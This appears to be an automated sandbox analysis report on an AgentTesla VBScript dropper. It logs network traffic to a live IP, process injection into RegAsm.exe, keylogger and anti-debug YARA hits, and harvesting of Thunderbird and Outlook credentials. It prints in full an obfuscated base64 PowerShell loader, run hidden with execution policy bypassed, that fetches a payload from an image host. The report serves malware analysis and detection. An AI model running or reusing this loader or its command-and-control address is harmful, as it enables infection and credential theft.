\|n-!)ÉMvqæ\|íÄ/Ù÷Ô³u/ßi¹ìiÑÑgnä¼ý+¾é´,Z£(ÿð}<HÉµcLûÆâ®¯§¼8c08¹oÆJn~0"4C¼!O~ÓSè<\HBª!?!E°÷j¾ù7üßïñEø·_R\|÷QÂ·ßËéP>A:²ë4`,ÆÃöU&û$yoÇÒF,hÊªevµ}¨rBß{ë2+xÌ:{Q¶Ì²´Óþö°Ó.±ûãHäe6{h$`´`õ·¹éØ'û$àé0ó°YqtÞ²£&ïæM0v,®W=U©-[ðÛ8Ì¼àÅAäÀ^áï<âáÑ¤6.uAZh÷8ï»Ä³èôõdÃôÖå7ìÙÌ½¤¯'y¸±-M Èÿ`qB²ÒÂNé ±ò$ts&v3±8öGûA¹ú{Ô¦¸8¦Ö«µàÛ`N¢Ã$ú²Q)g/ªË®d©Ó+;(Ì) i±l~4h75DÓ"äbòVÜúÃbZBÉý¿¾Q¡`]ØÍ/c¦ùÍ'¨ÕÂün¹Ze+Ë(R:÷©^º!ïtñ¹úÞ½cf¿vÎóå¦zOoàl]?[UâÀóª)ñ©\|[ºKÎeÜªµáOtc£Ï]b;ª¤Òùfk®lõ2%ÓÔ§âæÕgñóK¹yP±F#§¤ÐLCÙ4ñãÞÞîª ë34¼J K/=ùzûH&Ø?³¨Å%iLã.8!"¦e¶ýJßU³¤/Z¯¬TDµÌ(ÁÅ ÀÊÇ4Ë
Data received	0
Data received	øTÐ ?i<HÌ?)xMñüTÐ^6Ø¾>ùFÐDØSü@c½ú3àýÍP `5¬âîÀ,ùÜ¦ÎMÂín%nßè(s¥bXù¿3¾Ù¥{jçâk4lä p/þÝg&Ä è!6°SI+yãg/v+=ç}¢ÉqfélöåYØ#v e½Æiëqø-åâ´ÉEã·ÆºJ`î"Ð{J HBºS³¤ãá`ÉÅ(}öi>Îø.·ÜªÀ+B iøº6T:¬e×P7î¬çVêfÎ³t¾ øEayéóà"~}`lrîÀg§X PÖ2G3q@`íM`wo0þÌð½ÖcÓå3û¾eCUÙ¢é¹ÄÅ¨ºlLL`ø;Ä5)ÙÞU³Zg=(ßF'qäïE÷EiöæQðÄ¼àÝÂ¬ »!ÅÏ-K¯mÃ)F}NØ& Uo«#æW«Ë"Josøøã©§Séä¥x´°ÝIë¸óó´Yaø<óóyA$ÂÝBoÒWJbÚxh³dÛ%OÒ(ìß]5k{ôyÊ(D+å(hUS¬öäthÛ¤õvi7[ÏtA(U¨úÑ® µ8Û<²Si¼5m§êRcLYTõø5JËªÏí¡×©cSä4ô7k~;õ½¨²±õ]cáõ0%©°;PÈTxñÍB¥)Ýî¶N5·äqLjõÝ'½ß×m°ËËÓõTx½o£ÇHùê%~Ú²âã ,Ý-¶ë,×ÆS=úfRÈ6îñ Â¾úÅÅØbûÜ¨o°Xc@gÚ°EiãùÌB 8ÔÏT+K44:Ý±a$'r/©ÔÜ¢r!Öo²k¹¤¼Â ¹ÁàÚbBJk[^]=«p£¤±:<t¦umøÅÉKóu¦lJp9íNµ¹3](j ªî"a9Ë·(÷±m¬ ç âäN`@éÒå,Êw)à;=mÁMÄPQg¸Ê&É£Í3ß1ÕKr(þà:u9:`kH{ûÑíÛc½´xBI°mm¨]#1¼`0d¨ºûy] Î©Jqf:¯÷ê7ÿ³@¢$L?-¯Cò~©'¹É±Ô¢zu±´i/®<øªH»Øì@óªMÉ1zÌÃÊ¨à°^¨çæî2Uâv¤É!Ñ31 ©øUY v¢YJ®ýÛ¸!åUw$ ~5¦ø¡Ùâ¸+ÀÉl/wè@¾Ôh©WIb#ÖEgá{ÿéÓ1Öè8'Ræ\|-´aÝØ²ÃÁ@] ùòlQ/6»Kw;õ«®«EbfÐ®E£ô}Ëô£¡ÀG"Õ&¤ÒíVï¡<@ÇføÈQ7 ±ÌØÔ/þ¶CCtÊ\dîÚ½ é.¹cÍ"ß¨k¥ÓéûðÉ HÐ¡ûDF>Éõ«Ê?¥¸e+Xwk®ûL_Ã¥í8°Î£TºPÞõÔ@rÛ#íYØ$íO'§òÆr¡Í VyKîâËjðõ(aý¬)ghEM +/Ãµw§J*óäùO@Xð

Poweshell is sending data to a remote host (4 events)

Data sent	qme7ó* «¦j±Ø²¯6PÃG\it/5 ÀÀÀ À 28,ÿimageupload.io
Data sent	FBAÀøi¥h[Jt'ÞeT¦©%!Ûu£DqF0IÔl´AmJ3»ãh\ò~-õînÀµWGØl£¸»;?0ÊÉÿPb"¡ö½23ÿæ@Jª°éRÜÚ£§ <ph¿3XçáÅ(mö¹ÍZ
Data sent	Iµ1HS5j>L¸Ìzlç¨3k±¸jÜ©¹Iü]ØjàË©Î@¨³pñòÚBìF)Ó¤nînÕuR×ÓJþ=À¥¼P>jº!aFÝC_ìPZ9Ëíw qüQöþ6vÖ¥¼¢VjåVsòûÁ65².Èvõ
Data sent	GET /mashilao.txt HTTP/1.1 Host: 95.214.27.121 Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Oct. 24, 2023, 9:38 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Oct. 24, 2023, 9:38 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Oct. 24, 2023, 9:38 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (12 events)

description	Win Trojan AgentTesla	rule	Win_Trojan_AgentTesla_M_Zero
description	Communications smtp	rule	Network_SMTP_dotNet
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Run a KeyLogger	rule	KeyLogger

Communicates with host for which no DNS query was performed (1 event)

host

95.214.27.121

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Oct. 24, 2023, 9:38 a.m.	process_identifier: 2996 region_size: 196608 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000344	1	0	0

Potential code injection by writing to the memory of another process (4 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Oct. 24, 2023, 9:38 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL!; dà0¾¤ @ @l¤OÀFà H.textÄ `.rsrcFÀ@@.relocà@B base_address: 0x00400000 process_identifier: 2996 process_handle: 0x00000344	1	1
WriteProcessMemory Oct. 24, 2023, 9:38 a.m.	buffer: P8h À¼\Ãê¼4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°StringFileInfoø000004b0,FileDescription 0FileVersion1.0.0.0t)InternalName3c9df946-5a0b-48a2-9626-80817a0ac3af.exe(LegalCopyright \|)OriginalFilename3c9df946-5a0b-48a2-9626-80817a0ac3af.exe4ProductVersion1.0.0.08Assembly Version1.0.0.0ï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x0042c000 process_identifier: 2996 process_handle: 0x00000344	1	1
WriteProcessMemory Oct. 24, 2023, 9:38 a.m.	buffer: À4 base_address: 0x0042e000 process_identifier: 2996 process_handle: 0x00000344	1	1
WriteProcessMemory Oct. 24, 2023, 9:38 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2996 process_handle: 0x00000344	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Oct. 24, 2023, 9:38 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL!; dà0¾¤ @ @l¤OÀFà H.textÄ `.rsrcFÀ@@.relocà@B base_address: 0x00400000 process_identifier: 2996 process_handle: 0x00000344	1	1	0

File has been identified by 15 AntiVirus engines on VirusTotal as malicious (15 events)

FireEye	VB:Trojan.Valyria.8583
Arcabit	VB:Trojan.Valyria.D2187
ESET-NOD32	VBS/Kryptik.UA
Avast	VBS:Obfuscated-KJ [Cryp]
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	VB:Trojan.Valyria.8583
MicroWorld-eScan	VB:Trojan.Valyria.8583
Tencent	Script.Trojan.Generic.Udkl
Emsisoft	VB:Trojan.Valyria.8583 (B)
VIPRE	VB:Trojan.Valyria.8583
MAX	malware (ai score=83)
GData	VB:Trojan.Valyria.8583
Google	Detected
Ikarus	Trojan.VBS.Agent
AVG	VBS:Obfuscated-KJ [Cryp]

Harvests credentials from local email clients (4 events)

file	C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini
registry	HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
registry	HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
registry	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (4 events)

Time & API	Arguments	Status	Return
send Oct. 24, 2023, 9:38 a.m.	buffer: qme7ó* «¦j±Ø²¯6PÃG\it/5 ÀÀÀ À 28,ÿimageupload.io socket: 1440 sent: 118	1	118
send Oct. 24, 2023, 9:38 a.m.	buffer: FBAÀøi¥h[Jt'ÞeT¦©%!Ûu£DqF0IÔl´AmJ3»ãh\ò~-õînÀµWGØl£¸»;?0ÊÉÿPb"¡ö½23ÿæ@Jª°éRÜÚ£§ <ph¿3XçáÅ(mö¹ÍZ socket: 1440 sent: 134	1	134
send Oct. 24, 2023, 9:38 a.m.	buffer: Iµ1HS5j>L¸Ìzlç¨3k±¸jÜ©¹Iü]ØjàË©Î@¨³pñòÚBìF)Ó¤nînÕuR×ÓJþ=À¥¼P>jº!aFÝC_ìPZ9Ëíw qüQöþ6vÖ¥¼¢VjåVsòûÁ65².Èvõ socket: 1440 sent: 133	1	133
send Oct. 24, 2023, 9:38 a.m.	buffer: GET /mashilao.txt HTTP/1.1 Host: 95.214.27.121 Connection: Keep-Alive socket: 872 sent: 75	1	75

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2768 called NtSetContextThread to modify thread in remote process 2996
NtSetContextThread Oct. 24, 2023, 9:38 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4367550 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000033c process_identifier: 2996	1	0	0

One or more non-whitelisted processes were created (4 events)

parent_process	powershell.exe	martian_process	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
parent_process	wscript.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('PzXsYGN','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process	wscript.exe	martian_process	powershell -command "$Codigo = 'JPzXsYGNBpPzXsYGNG0PzXsYGNYQBnPzXsYGNGUPzXsYGNVQByPzXsYGNGwPzXsYGNIPzXsYGNPzXsYGN9PzXsYGNCPzXsYGNPzXsYGNJwBoPzXsYGNHQPzXsYGNdPzXsYGNBwPzXsYGNHMPzXsYGNOgPzXsYGNvPzXsYGNC8PzXsYGNaQBtPzXsYGNGEPzXsYGNZwBlPzXsYGNHUPzXsYGNcPzXsYGNBsPzXsYGNG8PzXsYGNYQBkPzXsYGNC4PzXsYGNaQBvPzXsYGNC8PzXsYGNaQBiPzXsYGNC8PzXsYGNdwBzPzXsYGNDgPzXsYGNTQBBPzXsYGNEoPzXsYGNNgBlPzXsYGNHPzXsYGNPzXsYGNdPzXsYGNBpPzXsYGNEwPzXsYGNZgBHPzXsYGNHUPzXsYGNXwPzXsYGNxPzXsYGNDYPzXsYGNOQPzXsYGN3PzXsYGNDcPzXsYGNMwPzXsYGN4PzXsYGNDQPzXsYGNOQPzXsYGNyPzXsYGNC4PzXsYGNagBwPzXsYGNGcPzXsYGNJwPzXsYGN7PzXsYGNCQPzXsYGNdwBlPzXsYGNGIPzXsYGNQwBsPzXsYGNGkPzXsYGNZQBuPzXsYGNHQPzXsYGNIPzXsYGNPzXsYGN9PzXsYGNCPzXsYGNPzXsYGNTgBlPzXsYGNHcPzXsYGNLQBPPzXsYGNGIPzXsYGNagBlPzXsYGNGMPzXsYGNdPzXsYGNPzXsYGNgPzXsYGNFMPzXsYGNeQBzPzXsYGNHQPzXsYGNZQBtPzXsYGNC4PzXsYGNTgBlPzXsYGNHQPzXsYGNLgBXPzXsYGNGUPzXsYGNYgBDPzXsYGNGwPzXsYGNaQBlPzXsYGNG4PzXsYGNdPzXsYGNPzXsYGN7PzXsYGNCQPzXsYGNaQBtPzXsYGNGEPzXsYGNZwBlPzXsYGNEIPzXsYGNeQB0PzXsYGNGUPzXsYGNcwPzXsYGNgPzXsYGND0PzXsYGNIPzXsYGNPzXsYGNkPzXsYGNHcPzXsYGNZQBiPzXsYGNEMPzXsYGNbPzXsYGNBpPzXsYGNGUPzXsYGNbgB0PzXsYGNC4PzXsYGNRPzXsYGNBvPzXsYGNHcPzXsYGNbgBsPzXsYGNG8PzXsYGNYQBkPzXsYGNEQPzXsYGNYQB0PzXsYGNGEPzXsYGNKPzXsYGNPzXsYGNkPzXsYGNGkPzXsYGNbQBhPzXsYGNGcPzXsYGNZQBVPzXsYGNHIPzXsYGNbPzXsYGNPzXsYGNpPzXsYGNDsPzXsYGNJPzXsYGNBpPzXsYGNG0PzXsYGNYQBnPzXsYGNGUPzXsYGNVPzXsYGNBlPzXsYGNHgPzXsYGNdPzXsYGNPzXsYGNgPzXsYGND0PzXsYGNIPzXsYGNBbPzXsYGNFMPzXsYGNeQBzPzXsYGNHQPzXsYGNZQBtPzXsYGNC4PzXsYGNVPzXsYGNBlPzXsYGNHgPzXsYGNdPzXsYGNPzXsYGNuPzXsYGNEUPzXsYGNbgBjPzXsYGNG8PzXsYGNZPzXsYGNBpPzXsYGNG4PzXsYGNZwBdPzXsYGNDoPzXsYGNOgBVPzXsYGNFQPzXsYGNRgPzXsYGN4PzXsYGNC4PzXsYGNRwBlPzXsYGNHQPzXsYGNUwB0PzXsYGNHIPzXsYGNaQBuPzXsYGNGcPzXsYGNKPzXsYGNPzXsYGNkPzXsYGNGkPzXsYGNbQBhPzXsYGNGcPzXsYGNZQBCPzXsYGNHkPzXsYGNdPzXsYGNBlPzXsYGNHMPzXsYGNKQPzXsYGN7PzXsYGNCQPzXsYGNcwB0